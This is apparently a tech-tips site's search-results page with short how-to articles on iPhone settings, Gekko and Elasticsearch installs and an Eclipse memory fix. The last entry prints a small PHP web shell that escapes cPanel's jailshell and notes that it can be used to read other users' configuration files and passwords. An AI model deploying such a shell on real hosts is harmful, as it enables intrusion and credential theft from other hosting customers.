Quantcast
Image

Search Results for: home

How to sign homebrew PHP module in macOS

By  •  December 2, 2021

Gatekeeper in macOS ensures only verified applications can be executed and this is achieved by signing the application using codesign. Code signing has been optional on macOS Big Sur
Read More

How to reset cellular data usage on iPhone and iPad

By  •  November 28, 2023

iOS and iPadOS keep track of cellular network usage for iPhone and iPad. It allows you to monitor your data usage and stay within your monthly data quota. For …
Read More

How to change text size on iOS and iPadOS

By  •  November 28, 2023

You can increase or decrease the font size on your iPhone or iPad for better readability. The option is available from the Text Size setting in iOS and iPadOS. …
Read More

How to change screen resolution on iPhone and iPad

By  •  November 28, 2023

If you have signed up for the beta software program on your iPhone or iPad, you may have noticed that the beta profile is installed on your device. This …
Read More

How to disable screen auto lock in iPhone and iPad

By  •  November 28, 2023

Screen auto lock is a feature that locks the screen of your iOS devices after a set period of time which is both battery-saving and provides privacy and security by preventing unauthorized access to your phone from an unlocked screen.

If you somehow have to disable the feature perhaps temporarily due to lack of full background process support in iOS, you can do it via the Settings app by following these steps;

  1. Open Settings by tapping the following icon on the home screen .
  2. Tap on Display & Brightness.
  3. Tap on Auto-Lock.
  4. Choose the preferred timing. Never disables the display auto lock feature completely.

How to install Gekko on Ubuntu

By  •  November 28, 2023

Gekko is an opensource, Node.js application for Bitcoin trading and is hosted on Github.

To install Gekko on Ubuntu, you'll need to first install nodejs and git. …
Read More

How to install Gekko on CentOS / Fedora / Red Hat

By  •  November 28, 2023

Gekko is an opensource, Node.js application for Bitcoin trading. The application is available on Github.

As such you'll need to install git to download the application from …
Read More

How to install Elasticsearch on CentOS, Red Hat or Fedora

By  •  November 28, 2023

Elasticsearch is a popular, free, and open-source product for search and analytics engines, yet it is not available in the default package repository for CentOS, RHEL, or Fedora. However, …
Read More

How to fix GC overhead limit exceeded in Eclipse

By  •  November 28, 2023

Eclipse will throw the below error when it runs out of memory. It normally occurs on big projects when performing memory-intensive operations, such as building workspace.

An internal error occurred during: "Building workspace".
GC overhead limit exceeded

Memory is allocated via Eclipse‘ configuration file which is executed during Eclipse‘ startup. It is located in its installation directory and named eclipse.ini. The default values are good enough for small projects, but not suffice for the bigger ones.

Below is the file’s content for Eclipse Neon;

-startup
plugins/org.eclipse.equinox.launcher_1.3.200.v20160318-1642.jar
--launcher.library
plugins/org.eclipse.equinox.launcher.gtk.linux.x86_64_1.1.400.v20160518-1444
-product
org.eclipse.epp.package.java.product
--launcher.defaultAction
openFile
-showsplash
org.eclipse.platform
--launcher.defaultAction
openFile
--launcher.appendVmargs
-vmargs
-Dosgi.requiredJavaVersion=1.8
-XX:+UseG1GC
-XX:+UseStringDeduplication
-Dosgi.requiredJavaVersion=1.8
-Xms256m
-Xmx1024m

Fixing the problem means allocating more memory for Eclipse. This is done by increasing the values of some parameters in the configuration file. You should only be concerned of the following lines;

-Xms256m
-Xmx1024m

Each lines allocate memory in Megabytes for different aspect of the program, namely the followings;

  • Xms
    • Initial memory allocation pool
  • Xmx
    • Maximum memory allocation pool for Java Virtual Machine (JVM)

There’s no one-size-fits-all solution for this issue as it depends on how much memory you need versus how much memory you have. You can start by probably doubling the amounts as in the below example and then go from there.

-Xms512m
-Xmx2048m

The changes will take effect after Eclipse is restarted.

How to bypass cPanel Jailshell using PHP

By  •  November 28, 2023

Users registering for shared Linux webhosting accounts are normally not provided with shell access. Even if they do, what they can do with the shell is limited, as they are only in a jailed environment, thanks to cPanel’s jailshell. Displaying the SHELL variable at the command prompt verifies this;

$ echo $SHELL
/usr/local/cpanel/bin/jailshell

To briefly show what it means, listing out home directories using the following Linux command reveals that the user is alone in the shell.

$ ls /home/ | wc -l
1

With some simple HTML and PHP, a web based shell can offer something more to the users. The following code can be made available through http://www.anyserver.com/jailshell.php;

<html>
  <body>
    <p>Enter command:
      <form action="jailshell.php" method=post>
      <input type=text name=command>
      <input type=submit name=submit>
      </form>
    </p>
    <pre>
      <?php system ($_POST['command']); ?>
    </pre>
  </body>
</html>

and executing some simple commands as the following shows what it’s capable of.

People with malicious intent can use this method to search other user’s home directories and grep into their web application’s configuration file to steal passwords and other juicy informations.

Most hosting providers already disable system() and other similar functions in their PHP implementation.

Top